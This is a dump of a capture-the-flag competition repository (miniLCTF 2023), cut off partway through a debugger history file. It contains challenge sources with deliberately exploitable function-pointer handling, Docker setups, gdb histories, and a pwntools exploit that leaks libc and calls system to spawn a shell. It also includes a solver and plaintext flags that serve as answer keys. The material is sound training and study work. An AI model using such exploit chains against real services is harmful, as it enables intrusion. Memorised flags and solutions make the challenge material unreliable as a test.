├── Challenges ├── 3calls │ ├── attachment │ │ ├── libc.so.6 │ │ └── pwn │ ├── docker │ │ ├── Dockerfile │ │ ├── ctf.xinetd │ │ ├── libc.so.6 │ │ ├── pwn │ │ └── start.sh │ ├── exp │ │ └── exp.py │ └── src │ │ └── pwn.c ├── EasyLLVMPass │ ├── attachment │ │ └── EasyPass.zip │ ├── exp │ │ ├── EasyLLVMPass_patch.so │ │ ├── exp.py │ │ └── flag.txt │ └── src │ │ ├── EasyLLVMPass.cpp │ │ ├── gen_fun_name.py │ │ ├── main.bc │ │ ├── main.c │ │ └── vm_test.c ├── README.md ├── broken_machine │ ├── attachment │ │ ├── Dockerfile │ │ ├── ctf.xinetd │ │ ├── ld-linux-x86-64.so.2 │ │ ├── pwn │ │ └── start.sh │ ├── docker │ │ ├── .gdb_history │ │ ├── Dockerfile │ │ ├── ctf.xinetd │ │ ├── pwn │ │ └── start.sh │ ├── exp │ │ ├── .gdb_history │ │ └── exp.py │ └── src │ │ ├── pwn.c │ │ └── sandbox ├── counterstrike │ ├── victim's-server.pcap │ └── victim.pcapng ├── ezbook │ ├── attachment │ │ ├── libc-2.27.so │ │ └── pwn │ ├── docker │ │ ├── Dockerfile │ │ ├── ctf.xinetd │ │ ├── pwn │ │ └── start.sh │ ├── exp │ │ ├── exp.py │ │ └── pwn │ └── src │ │ ├── .gdb_history │ │ └── pwn.c ├── ezshellcode │ ├── README.md │ ├── 题目 │ │ ├── main │ │ └── main.c │ └── 题目环境 │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── bin │ │ ├── flag1 │ │ ├── flag2 │ │ └── main │ │ ├── ctf.xinetd │ │ └── start.sh ├── ezsql │ ├── db │ │ ├── data.sql │ │ └── dockerfile │ ├── docker-compose.yml │ └── web │ │ ├── config.php │ │ ├── dockerfile │ │ ├── flag │ │ ├── index.php │ │ ├── microsoft.asc │ │ ├── prod.list │ │ ├── sql.php │ │ └── sudoers ├── fake_login │ ├── app.py │ ├── docker-compose.yml │ ├── dockerfile │ ├── flag │ └── login.html ├── giveaway │ ├── Dockerfile │ ├── README.md │ ├── secret.py │ └── task.py ├── guess │ ├── Dockerfile │ ├── README.md │ ├── secret.py │ └── task.py ├── hacker's_gift │ ├── attachment │ │ ├── gift.pcapng │ │ └── readme.txt │ ├── flag.png │ ├── flag.txt │ └── src │ │ ├── client │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ └── src │ │ │ ├── main.rs │ │ │ └── util │ │ │ ├── http.rs │ │ │ └── mod.rs │ │ ├── dangerous_directory │ │ ├── 1.txt │ │ ├── 2.txt │ │ ├── 3.txt │ │ ├── back.jpg │ │ ├── flag │ │ └── 智子.jpg │ │ └── server │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ └── src │ │ ├── main.rs │ │ ├── service │ │ ├── getkey.rs │ │ ├── mod.rs │ │ └── upload.rs │ │ └── util │ │ ├── http.rs │ │ └── mod.rs ├── magical_syscall │ ├── attachment │ │ └── magical_syscall │ ├── flag.txt │ └── src │ │ ├── assembly.txt │ │ ├── main.c │ │ ├── opcode.txt │ │ └── out.txt ├── maze_aot │ └── maze ├── mini_java │ ├── docker-compose.yml │ ├── dockerfile │ ├── flag │ ├── minil-0.0.1-SNAPSHOT.jar │ └── nc ├── not RSA │ ├── not_RSA.py │ └── task.py ├── pycalculator │ ├── Dockerfile │ ├── chall.py │ └── start.sh └── twins │ ├── attachment │ ├── libc-2.31.so │ ├── pwn │ └── twins.py │ ├── docker │ ├── Dockerfile │ ├── ctf.xinetd │ ├── pwn │ ├── start.sh │ └── twins.py │ ├── exp │ ├── .debug │ ├── .gdb_history │ └── exp.py │ └── src │ ├── pwn.c │ └── twins.py ├── Official ├── Crypto.md ├── Misc.md ├── Pwn.md ├── Reverse.md ├── Web.md └── Web_Writeup.assets │ ├── image-20230510230717235.png │ ├── image-20230510231708019.png │ ├── image-20230510233134632.png │ ├── image-20230510234829988.png │ ├── image-20230510235616880.png │ ├── image-20230510235655449.png │ ├── image-20230511000819131.png │ └── image-20230511001504939.png ├── README.md └── WriteUps ├── MeowMeowMeow ├── MeowMeowMeow For Mini L 2023.pdf └── Readme ├── README.md ├── W4ntY0u └── W4ntY0u.pdf ├── v3ggieB1rd ├── img │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ └── 5.png └── v3ggieB1rd_wp.md ├── whocansee └── whocansee.md ├── ɯɐǝʇ˥ ├── Easypass.md ├── assets │ ├── 1.png │ ├── 10.png │ ├── 11.png │ ├── 12.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ ├── 5.png │ ├── 6.png │ ├── 7.png │ ├── 8.png │ ├── 9.png │ ├── img.png │ ├── img_1.png │ ├── img_2.png │ ├── img_3.png │ ├── img_4.png │ └── img_5.png ├── maze_aot.md ├── miniL leon.md └── minilinux.md ├── 夜店里的纯爱战神 └── Zh1A0'S WP For MiniL.md └── 熬夜型rx直播切片委员会 ├── ZeroAurora.md ├── assets ├── ZeroAurora-1.png ├── ZeroAurora-2.png ├── ZeroAurora-3.png ├── ZeroAurora-4.png └── ZeroAurora-5.png ├── koito.md ├── passers-by.md └── pwn_wp_by_Static.md /Challenges/3calls/attachment/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/3calls/attachment/libc.so.6 -------------------------------------------------------------------------------- /Challenges/3calls/attachment/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/3calls/attachment/pwn -------------------------------------------------------------------------------- /Challenges/3calls/docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 xinetd 6 | 7 | RUN apt-get install -y binutils grep gawk 8 | 9 | RUN useradd -m ctf 10 | 11 | WORKDIR /home/ctf 12 | 13 | RUN cp -R /usr/lib* /home/ctf 14 | 15 | RUN mkdir /home/ctf/bin && \ 16 | cp /bin/sh /home/ctf/bin && \ 17 | cp /bin/ls /home/ctf/bin && \ 18 | cp /bin/cat /home/ctf/bin 19 | 20 | RUN cp /bin/readelf /home/ctf/bin && \ 21 | cp /bin/tail /home/ctf/bin && \ 22 | cp /bin/grep /home/ctf/bin && \ 23 | cp /bin/awk /home/ctf/bin 24 | 25 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 26 | COPY ./start.sh /start.sh 27 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 28 | 29 | RUN chmod +x /start.sh 30 | 31 | COPY ./pwn /home/ctf/ 32 | COPY ./libc.so.6 /home/ctf/ 33 | RUN chown -R root:ctf /home/ctf && \ 34 | chmod -R 750 /home/ctf 35 | 36 | CMD ["/start.sh"] 37 | 38 | EXPOSE 9999 39 | -------------------------------------------------------------------------------- /Challenges/3calls/docker/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | server_args = --userspec=1000:1000 /home/ctf ./pwn 13 | banner_fail = /etc/banner_fail 14 | # safety options 15 | per_source = 10 # the maximum instances of this service per source IP address 16 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 17 | #rlimit_as = 1024M # the Address Space resource limit for the service 18 | #access_times = 2:00-9:00 12:00-24:00 19 | } 20 | -------------------------------------------------------------------------------- /Challenges/3calls/docker/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/3calls/docker/libc.so.6 -------------------------------------------------------------------------------- /Challenges/3calls/docker/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/3calls/docker/pwn -------------------------------------------------------------------------------- /Challenges/3calls/docker/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | echo $FLAG > /home/ctf/flag 4 | export FLAG= 5 | # DO NOT DELETE 6 | /etc/init.d/xinetd start; 7 | sleep infinity; 8 | -------------------------------------------------------------------------------- /Challenges/3calls/exp/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context(os='linux', arch='amd64', log_level='debug') 3 | 4 | procname = './pwn' 5 | libcname = './libc.so.6' 6 | 7 | # io = process(procname, stdin=PTY) 8 | io = remote('127.0.0.1', 40865) 9 | elf = ELF(procname) 10 | libc = ELF(libcname) 11 | 12 | n2b = lambda x : str(x).encode() 13 | rv = lambda x : io.recv(x) 14 | ru = lambda s : io.recvuntil(s, drop=True) 15 | sd = lambda s : io.send(s) 16 | sl = lambda s : io.sendline(s) 17 | sn = lambda s : sl(n2b(n)) 18 | sa = lambda p, s : io.sendafter(p, s) 19 | sla = lambda p, s : io.sendlineafter(p, s) 20 | sna = lambda p, n : sla(p, n2b(n)) 21 | ia = lambda : io.interactive() 22 | rop = lambda r : flat([p64(x) for x in r]) 23 | 24 | pause() 25 | 26 | ru(b'gift: ') 27 | libc.address = int(rv(14), 16) 28 | success(f'leak libc.address: {hex(libc.address)}') 29 | 30 | 31 | sd(p64(libc.sym.gets)) 32 | sd(p64(libc.sym.gets)) 33 | sd(p64(libc.sym.system)) 34 | 35 | ru(b'good job!') 36 | 37 | sl(p64(0)) 38 | sl(b'/bin0sh') 39 | 40 | ia() 41 | -------------------------------------------------------------------------------- /Challenges/3calls/src/pwn.c: -------------------------------------------------------------------------------- 1 | // gcc pwn.c -o pwn 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | union { 8 | long long num[3]; 9 | void (*funcs[3])(void); 10 | char readf[3][8]; 11 | } F; 12 | 13 | long long libc; 14 | 15 | char *cmd = "readelf ./libc.so.6 -s | tail -n 3006 | grep FUNC | awk '{print $2}'"; 16 | 17 | void check() { 18 | char buf[0x20], s[3][0x20]; 19 | int flag[3] = {0, 0, 0}; 20 | for (int i = 0; i < 3; i++) 21 | sprintf(s[i], "%016llx", (long long) F.funcs[i] - libc); 22 | FILE *f = popen(cmd, "r"); 23 | if ((long long)f > 0) { 24 | while (fscanf(f, "%s", buf) != EOF) { 25 | for (int i = 0; i < 3; i++) 26 | flag[i] |= strcmp(s[i], buf) == 0; 27 | } 28 | pclose(f); 29 | f = NULL; 30 | } 31 | else { 32 | puts("popen failed!"); 33 | exit(-1); 34 | } 35 | if (flag[0] & flag[1] & flag[2]) 36 | return; 37 | puts("Not libc symbols!"); 38 | exit(-1); 39 | } 40 | 41 | int main() { 42 | setvbuf(stdin, NULL, _IONBF, 0); 43 | setvbuf(stdout, NULL, _IONBF, 0); 44 | setvbuf(stderr, NULL, _IONBF, 0); 45 | libc = (long long)&printf - 0x00060770; 46 | printf("gift: %p\n", (void *)libc); 47 | char buf[0x10]; 48 | for (int i = 0; i < 3; i++) 49 | read(0, &F.readf[i], 0x8); 50 | check(); 51 | puts("good job!"); 52 | for (int i = 0; i < 3; i++) 53 | F.funcs[i](); 54 | return 0; 55 | } 56 | -------------------------------------------------------------------------------- /Challenges/EasyLLVMPass/attachment/EasyPass.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/EasyLLVMPass/attachment/EasyPass.zip -------------------------------------------------------------------------------- /Challenges/EasyLLVMPass/exp/EasyLLVMPass_patch.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/EasyLLVMPass/exp/EasyLLVMPass_patch.so -------------------------------------------------------------------------------- /Challenges/EasyLLVMPass/exp/exp.py: -------------------------------------------------------------------------------- 1 | ''' 2 | f = 'QwQ_s0oOo_simple_LlVm_P4s5' 3 | for i in range(13): 4 | print(ord(f[i])^ord(f[25-i]),end=', ') 5 | for i in range(13,26): 6 | print(ord(f[i])^0xff,end=', ') 7 | ''' 8 | 9 | enc = [100, 4, 101, 15, 44, 93, 57, 35, 35, 0, 22, 5, 29, 143, 147, 154, 160, 179, 147, 169, 146, 160, 175, 203, 140, 202] 10 | 11 | for i in range(13,26): 12 | enc[i]^=0xff 13 | for i in range(13): 14 | enc[i]^=enc[25-i] 15 | print(bytes(enc)) -------------------------------------------------------------------------------- /Challenges/EasyLLVMPass/exp/flag.txt: -------------------------------------------------------------------------------- 1 | miniLctf{QwQ_s0oOo_simple_LlVm_P4s5} -------------------------------------------------------------------------------- /Challenges/EasyLLVMPass/src/gen_fun_name.py: -------------------------------------------------------------------------------- 1 | import random as rd 2 | str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 3 | ''' 4 | eg: enc [0] = enc[0] ^ flag[0] 5 | a, a, r0, r0, b, r0, b, b, r1, r1, a, r1, r0, r1, a, 6 | 7 | a: 98~110 (flag) 8 | b: 122~110 (flag) 9 | r0: 66~90(reg) 10 | r1: 66~90(reg) 11 | ''' 12 | f = open('1.txt','w') 13 | s1 = 'void ' 14 | s2 = '()\n{\n strcpy(string, "' 15 | s3 = '");\n}\n' 16 | d_a = 97 17 | d_b = 122 18 | t = open('t.txt', 'w') 19 | for j in range(13): 20 | w1 = '' 21 | w2 = '' 22 | r0 = chr(rd.randint(66, 90)) 23 | r1 = chr(rd.randint(66, 90)) 24 | a = chr(d_a) 25 | b = chr(d_b) 26 | w1 = a + a + r0 + r0 + b + r0 + b + b + r1 + r1 + a + r1 + r0 + r1 + a 27 | t.write('"'+w1+'",\n') 28 | for i in range(15): 29 | w2 += str_list[rd.randint(0, 51)] 30 | w = s1 + w1 + s2 + w2 + s3 31 | f.write(w) 32 | d_a += 1 33 | d_b -= 1 34 | 35 | d_a = 110 36 | d_b = 95 37 | for j in range(13): 38 | w1 = '' 39 | w2 = '' 40 | r0 = chr(rd.randint(66, 90)) 41 | r1 = chr(rd.randint(66, 90)) 42 | a = chr(d_a) 43 | b = chr(d_b) 44 | w1 = a + a + r0 + r0 + b + r0 + b + b + r1 + r1 + a + r1 + r0 + r1 + a 45 | t.write('"'+w1+'",\n') 46 | for i in range(15): 47 | w2 += str_list[rd.randint(0, 51)] 48 | w = s1 + w1 + s2 + w2 + s3 49 | f.write(w) 50 | d_a += 1 51 | 52 | f.close() 53 | t.close() -------------------------------------------------------------------------------- /Challenges/EasyLLVMPass/src/main.bc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/EasyLLVMPass/src/main.bc -------------------------------------------------------------------------------- /Challenges/EasyLLVMPass/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | char s[20]; 4 | 5 | void aaCCzCzzMMaMCMa() 6 | { 7 | strcpy(s, "frskUrxQIvAOWCf"); 8 | } 9 | void bbMMyMyyZZbZMZb() 10 | { 11 | strcpy(s, "HIMTyfxVYGKcZsl"); 12 | } 13 | void ccCCxCxxJJcJCJc() 14 | { 15 | strcpy(s, "soYUDpqLFtFiqbx"); 16 | } 17 | void ddQQwQwwMMdMQMd() 18 | { 19 | strcpy(s, "CiLtMxtRiyXIycu"); 20 | } 21 | void eeYYvYvvKKeKYKe() 22 | { 23 | strcpy(s, "ICItCjGGNCgErzu"); 24 | } 25 | void ffHHuHuuCCfCHCf() 26 | { 27 | strcpy(s, "lyDZxEmZIUiloRD"); 28 | } 29 | void ggDDtDttKKgKDKg() 30 | { 31 | strcpy(s, "lxfmZLGxrWFuHsZ"); 32 | } 33 | void hhDDsDssOOhODOh() 34 | { 35 | strcpy(s, "chwZoiwIVoGxCoC"); 36 | } 37 | void iiCCrCrrIIiICIi() 38 | { 39 | strcpy(s, "cTyJbYnXPoEmNpT"); 40 | } 41 | void jjOOqOqqDDjDODj() 42 | { 43 | strcpy(s, "NGdEfuFhTRgLBAv"); 44 | } 45 | void kkSSpSppEEkESEk() 46 | { 47 | strcpy(s, "zQhyBdxolonOOQx"); 48 | } 49 | void llXXoXooTTlTXTl() 50 | { 51 | strcpy(s, "vPhhgCowpDJAkRC"); 52 | } 53 | void mmLLnLnnVVmVLVm() 54 | { 55 | strcpy(s, "EppSCoNxXDpyztd"); 56 | } 57 | void nnII_I__HHnHIHn() 58 | { 59 | strcpy(s, "HaWeplhiIffmIGB"); 60 | } 61 | void ooOO_O__CCoCOCo() 62 | { 63 | strcpy(s, "QQgEElrwuPsqRYu"); 64 | } 65 | void ppFF_F__NNpNFNp() 66 | { 67 | strcpy(s, "CVhtmgUaUbjWRRC"); 68 | } 69 | void qqDD_D__BBqBDBq() 70 | { 71 | strcpy(s, "liVJZKUddMJqjng"); 72 | } 73 | void rrTT_T__BBrBTBr() 74 | { 75 | strcpy(s, "qnXJXpZimdaYLAB"); 76 | } 77 | void ssJJ_J__CCsCJCs() 78 | { 79 | strcpy(s, "JHWdwoCOwCxNfOJ"); 80 | } 81 | void ttGG_G__XXtXGXt() 82 | { 83 | strcpy(s, "VxiQVmDuVTySEXH"); 84 | } 85 | void uuDD_D__OOuODOu() 86 | { 87 | strcpy(s, "OdNUUFhHmSZMmkC"); 88 | } 89 | void vvUU_U__JJvJUJv() 90 | { 91 | strcpy(s, "NWgvDzfbsZyPkCU"); 92 | } 93 | void wwOO_O__SSwSOSw() 94 | { 95 | strcpy(s, "BowaUiOjZtRstKH"); 96 | } 97 | void xxRR_R__SSxSRSx() 98 | { 99 | strcpy(s, "wTlJioMOWlpurzM"); 100 | } 101 | void yyEE_E__KKyKEKy() 102 | { 103 | strcpy(s, "rjWootLUtpTOzlT"); 104 | } 105 | void zzJJ_J__TTzTJTz() 106 | { 107 | strcpy(s, "XwnINizbJjjIZsZ"); 108 | } 109 | 110 | 111 | int main() 112 | { 113 | aaCCzCzzMMaMCMa(); 114 | bbMMyMyyZZbZMZb(); 115 | ccCCxCxxJJcJCJc(); 116 | ddQQwQwwMMdMQMd(); 117 | eeYYvYvvKKeKYKe(); 118 | ffHHuHuuCCfCHCf(); 119 | ggDDtDttKKgKDKg(); 120 | hhDDsDssOOhODOh(); 121 | iiCCrCrrIIiICIi(); 122 | jjOOqOqqDDjDODj(); 123 | kkSSpSppEEkESEk(); 124 | llXXoXooTTlTXTl(); 125 | mmLLnLnnVVmVLVm(); 126 | nnII_I__HHnHIHn(); 127 | ooOO_O__CCoCOCo(); 128 | ppFF_F__NNpNFNp(); 129 | qqDD_D__BBqBDBq(); 130 | rrTT_T__BBrBTBr(); 131 | ssJJ_J__CCsCJCs(); 132 | ttGG_G__XXtXGXt(); 133 | uuDD_D__OOuODOu(); 134 | vvUU_U__JJvJUJv(); 135 | wwOO_O__SSwSOSw(); 136 | xxRR_R__SSxSRSx(); 137 | yyEE_E__KKyKEKy(); 138 | zzJJ_J__TTzTJTz(); 139 | 140 | printf("%s", s); 141 | 142 | return 0; 143 | } -------------------------------------------------------------------------------- /Challenges/EasyLLVMPass/src/vm_test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | unsigned char mem[] = { 5 | 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0xff, 0, 7 | //flag 8 | 81, 119, 81, 95, 115, 48, 111, 79, 111, 95, 115, 105, 109, 112, 108, 101, 95, 76, 108, 86, 109, 95, 80, 52, 115, 53 9 | }; 10 | 11 | unsigned char opcode[26][16] = { 12 | "aaLLzLzzJJaJLJa", 13 | "bbJJyJyyMMbMJMb", 14 | "ccRRxRxxNNcNRNc", 15 | "ddJJwJwwRRdRJRd", 16 | "eeSSvSvvKKeKSKe", 17 | "ffVVuVuuPPfPVPf", 18 | "ggMMtMttVVgVMVg", 19 | "hhFFsFssRRhRFRh", 20 | "iiIIrIrrJJiJIJi", 21 | "jjGGqGqqZZjZGZj", 22 | "kkVVpVppBBkBVBk", 23 | "llEEoEooKKlKEKl", 24 | "mmOOnOnnMMmMOMm", 25 | "nnJJ_J__PPnPJPn", 26 | "ooUU_U__MMoMUMo", 27 | "ppUU_U__UUpUUUp", 28 | "qqGG_G__OOqOGOq", 29 | "rrVV_V__ZZrZVZr", 30 | "ssWW_W__WWsWWWs", 31 | "ttTT_T__WWtWTWt", 32 | "uuRR_R__QQuQRQu", 33 | "vvGG_G__RRvRGRv", 34 | "wwOO_O__TTwTOTw", 35 | "xxFF_F__VVxVFVx", 36 | "yyKK_K__NNyNKNy", 37 | "zzRR_R__CCzCRCz" 38 | }; 39 | 40 | void vm() 41 | { 42 | unsigned char *p_mem = mem; 43 | unsigned char PC, a, b, f, r; 44 | mem[0] = 1; 45 | for(int i = 0; i < 5; i++) { 46 | PC = *p_mem; 47 | a = p_mem[PC + 1]; 48 | b = p_mem[PC]; 49 | r = p_mem[PC + 2]; 50 | *p_mem = PC + 3; 51 | f = ~(p_mem[b] & p_mem[a]); 52 | p_mem[r] = f; 53 | } 54 | } 55 | //miniLctf{QwQ_s0oOo_simple_LlVm_P4s5} 56 | 57 | int main() { 58 | 59 | for(int i = 0; i < 26; i++) 60 | { 61 | for(int j = 0; j<15; j++) 62 | { 63 | mem[j+1]=opcode[i][j]; 64 | } 65 | vm(); 66 | } 67 | 68 | 69 | for(int i = 0; i < 26; i++) 70 | { 71 | printf("%d, ", mem[97+i]); 72 | } 73 | // 74 | 75 | return 0; 76 | } -------------------------------------------------------------------------------- /Challenges/README.md: -------------------------------------------------------------------------------- 1 | 赛题将陆续上传 2 | -------------------------------------------------------------------------------- /Challenges/broken_machine/attachment/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 xinetd 6 | 7 | RUN useradd -m ctf 8 | 9 | WORKDIR /home/ctf 10 | 11 | RUN cp -R /usr/lib* /home/ctf 12 | 13 | RUN mkdir /home/ctf/bin && \ 14 | cp /bin/sh /home/ctf/bin && \ 15 | cp /bin/ls /home/ctf/bin && \ 16 | cp /bin/cat /home/ctf/bin 17 | 18 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 19 | COPY ./start.sh /start.sh 20 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 21 | 22 | RUN chmod +x /start.sh 23 | 24 | COPY ./pwn /home/ctf/ 25 | RUN chown -R root:ctf /home/ctf && \ 26 | chmod -R 750 /home/ctf 27 | 28 | CMD ["/start.sh"] 29 | 30 | EXPOSE 9999 31 | -------------------------------------------------------------------------------- /Challenges/broken_machine/attachment/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | server_args = --userspec=1000:1000 /home/ctf ./pwn 13 | banner_fail = /etc/banner_fail 14 | # safety options 15 | per_source = 10 # the maximum instances of this service per source IP address 16 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 17 | #rlimit_as = 1024M # the Address Space resource limit for the service 18 | #access_times = 2:00-9:00 12:00-24:00 19 | } 20 | -------------------------------------------------------------------------------- /Challenges/broken_machine/attachment/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/broken_machine/attachment/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /Challenges/broken_machine/attachment/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/broken_machine/attachment/pwn -------------------------------------------------------------------------------- /Challenges/broken_machine/attachment/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | echo $FLAG > /home/ctf/flag 4 | export FLAG= 5 | # DO NOT DELETE 6 | /etc/init.d/xinetd start; 7 | sleep infinity; 8 | -------------------------------------------------------------------------------- /Challenges/broken_machine/docker/.gdb_history: -------------------------------------------------------------------------------- 1 | r 2 | q 3 | b machine 4 | r 5 | ni 6 | stack 7 | q 8 | -------------------------------------------------------------------------------- /Challenges/broken_machine/docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 xinetd 6 | 7 | RUN useradd -m ctf 8 | 9 | WORKDIR /home/ctf 10 | 11 | RUN cp -R /usr/lib* /home/ctf 12 | 13 | RUN mkdir /home/ctf/bin && \ 14 | cp /bin/sh /home/ctf/bin && \ 15 | cp /bin/ls /home/ctf/bin && \ 16 | cp /bin/cat /home/ctf/bin 17 | 18 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 19 | COPY ./start.sh /start.sh 20 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 21 | 22 | RUN chmod +x /start.sh 23 | 24 | COPY ./pwn /home/ctf/ 25 | RUN chown -R root:ctf /home/ctf && \ 26 | chmod -R 750 /home/ctf 27 | 28 | CMD ["/start.sh"] 29 | 30 | EXPOSE 9999 31 | -------------------------------------------------------------------------------- /Challenges/broken_machine/docker/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | server_args = --userspec=1000:1000 /home/ctf ./pwn 13 | banner_fail = /etc/banner_fail 14 | # safety options 15 | per_source = 10 # the maximum instances of this service per source IP address 16 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 17 | #rlimit_as = 1024M # the Address Space resource limit for the service 18 | #access_times = 2:00-9:00 12:00-24:00 19 | } 20 | -------------------------------------------------------------------------------- /Challenges/broken_machine/docker/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/broken_machine/docker/pwn -------------------------------------------------------------------------------- /Challenges/broken_machine/docker/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | echo $FLAG > /home/ctf/flag 4 | export FLAG= 5 | # DO NOT DELETE 6 | /etc/init.d/xinetd start; 7 | sleep infinity; 8 | -------------------------------------------------------------------------------- /Challenges/broken_machine/exp/.gdb_history: -------------------------------------------------------------------------------- 1 | r 2 | b machine 3 | c 4 | q 5 | b machine 6 | r 7 | show debug-file-directory 8 | set debug-file-directory 9 | show debug-file-directory 10 | q 11 | r 12 | b _dl_fini 13 | c 14 | q 15 | r 16 | b _dl_fini 17 | c 18 | q 19 | r 20 | b _dl_fini 21 | p exit(0) 22 | ni 23 | ni 24 | n 25 | p _rtld_global 26 | p _rtld_global[0] 27 | p _rtld_global._dl_ns 28 | p _rtld_global._dl_ns[0] 29 | p _rtld_global._dl_ns[0]._ns_loaded 30 | p _rtld_global._dl_ns[0]._ns_loaded.l_addr 31 | p _rtld_global._dl_ns[0]._ns_loaded.l_info[26] 32 | p *_rtld_global._dl_ns[0]._ns_loaded.l_info[26] 33 | p &_rtld_global._dl_ns[0]._ns_loaded.l_info[26] 34 | p _rtld_global._dl_ns[0]._ns_loaded.l_info[26] 35 | p _rtld_global._dl_ns[0]._ns_loaded.l_info[26].d_un.d_val 36 | q 37 | q 38 | attach 93825 39 | attach 94514 40 | fini 41 | finish 42 | ni 43 | si 44 | ni 45 | fmtarg 0x7ffda7246de8 46 | q 47 | r 48 | b machine 49 | c 50 | ni 51 | ni 52 | fmtarg 0x7fffffffd9e8 53 | q 54 | q 55 | attach 95675 56 | finish 57 | ni 58 | si 59 | ni 60 | fmtarg 0x7ffcd14a8778 61 | attach 96375 62 | fini 63 | ni 64 | si 65 | ni 66 | ni 67 | stack 68 | p *0x7f09bfe4b2e0 69 | p _rtld_global._dl_ns[0] 70 | q 71 | q 72 | attach 97931 73 | fini 74 | ni 75 | si 76 | ni 77 | stack 78 | fmtarg 0x7ffc20cd6150 79 | attach 98452 80 | b _dl_fini 81 | finish 82 | ni 83 | si 84 | ni 85 | ni 86 | p _rtld_global._dl_ns[0]._ns_loaded 87 | p *_rtld_global._dl_ns[0]._ns_loaded 88 | c 89 | attach 99437 90 | fini 91 | q 92 | q 93 | attach 99437 94 | attach 99989 95 | fini 96 | b machine 97 | c 98 | ni 99 | telescope buf 100 | telescope $rsi 101 | telescope $rsi 102 | ni 103 | ni 104 | p exit(0) 105 | attach 101529 106 | fini 107 | c 108 | b 